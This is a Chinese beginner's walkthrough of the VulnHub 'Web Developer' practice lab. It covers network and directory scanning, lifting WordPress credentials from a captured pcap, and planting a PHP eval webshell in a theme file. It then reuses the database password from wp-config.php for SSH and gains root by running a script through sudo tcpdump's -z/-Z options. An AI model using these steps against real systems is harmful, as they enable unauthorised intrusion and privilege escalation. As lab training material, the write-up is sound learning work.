目前刚刚学习内网渗透和web的网安知识,先从最入门的离线靶场来理一下一次简要的完整渗透流程。本文内容比较基础,如有错误烦请各位热心大佬纠正。
vulnhub 新手级离线靶场
VMware 15.5
kali镜像:kali-linux-2022.4-installer-amd64
kali ip:192.168.100.83
靶场下载地址: https://download.vulnhub.com/webdeveloper/WebDeveloper.ova
下载好靶机之后直接使用VMware软件打开ova,启动即可,将虚拟网络设置为NAT模式或者桥接直连物理网即可
打开后效果如下
本文章用比较入门的操作来梳理流程
下面先扫描一下这个网段,使用nmap,看一下靶机ip
对发现的ip进行端口扫描
发现这个211的IP开放了 ssh和http
在浏览器中尝试访问一下
确定靶机
下面对web部分开始信息扫描
先来查看这个网站都有哪些可访问页面
dirsearch扫描windows版
python dirsearch.py -u http://192.168.100.211/
发现有疑似似登录的页面/wp-login.php
更改url内访问页面,发现登录页面
为了得到更多信息使用kali中whatweb工具进行扫描查看网站详细信息
whatweb http://192.168.100.211 -v
使用kali的dirb工具扫描,dirb工具可以更全面的扫描出该类型的网站页面和路径
dirb http://192.168.100.211
扫描发现一个叫ipdata的文件,该文件一般用于存放流量文件,可能会有登录信息相关内容
如本图的倒数第三行
更改URL访问该路径发现有一个analyze.cap的流量文件
下载到本地使用wireshark打开
发现有很多记录
为了知道登录包的如何传送的,先回到登陆页面随便的登陆一下
此时发现登录时的包是POST请求
那么就在wireshark中设置过滤规则
http.request.method==POST
既然是POST请求就在这俩包里面翻找一下有没有登陆的信息
发现疑似登录的账号字段“log”和密码字段“pwd”
使用该字段的值登录一下试试
登陆成功!
在这里找到一处疑似可以注入一句话木马的地方
覆盖掉原本内容,尝试进行注入
<?php @eval($_POST['a']);?>
下面准备使用蚁剑连接
但是先确认一下注入文件的位置
由页面左边可知我们更改的是hello.php
之前dirsearch爆出来的文件里刚好有hello.php的web路径
确认路径后使用蚁剑连接
连接成功
在文件中翻找一下配置文件,一般会有一些东西
wp-config.php文件应该就是这个web项目的部分配置文件
/** MySQL database username */
define('DB_USER', 'webdeveloper');
/** MySQL database password */
define('DB_PASSWORD', 'MasterOfTheUniverse');
使用ssh登录这个账户进入靶机。
登陆后先查看一下当前用户权限
sudo -l
发现可以使用tcpdump进行提权
看了太多shell反射提权
本文这里 不采用shell反射 ,咱们用比较简单朴素点的方式
利用tmp的文件特性:
“通常,/tmp 目录的权限会被设置为 1777,这是一个八进制数。这意味着它具有读、写和执行权限,因此属主、属组和其他用户都可以访问它”
命令思路就是
- tcpdump中有两个关键参数-z和-Z
- -z 用来执行一个脚本,-Z用来指定tcpdump以哪个用户运行
- 当可以通过sudo执行时,则可以指定以root用户运行一个脚本,从而达到提权的目的
touch DN //在tmp文件夹里创建一个DN(随便按的)
echo "ls /root/" > DN //把要执行的命令写入DN里面
chmod 777 /tmp/DN //给DN文件 777 权限
sudo tcpdump i eth0 -w /dev/null -W 1 -G 1 -z /tmp/DN -Z root
//最后通过sudo-tcpdump执行越权文件
tcpdump命令详解:
-i eth0 从指定网卡捕获数据包
-w /dev/null 将捕获到的数据包输出到空设备(不输出数据包结果)
-z [command] 运行指定的命令
-Z [user] 指定用户执行命令
-G [rotate_seconds] 每rotate_seconds秒一次的频率执行-w指定的转储
-W [num] 指定抓包数量
通过sudo tcpdump执行越权文件内容“ ls /root/ ”查看了root目录下存在flag.txt
然后更改DN文件越权文件内容
echo "cat /root/flag.txt" > DN
再次执行sudo-tcpdump越权命令得到flag内容
完
本文操作仅适用于入门练手,一些步骤可能有些简化,仅供参考和思路梳理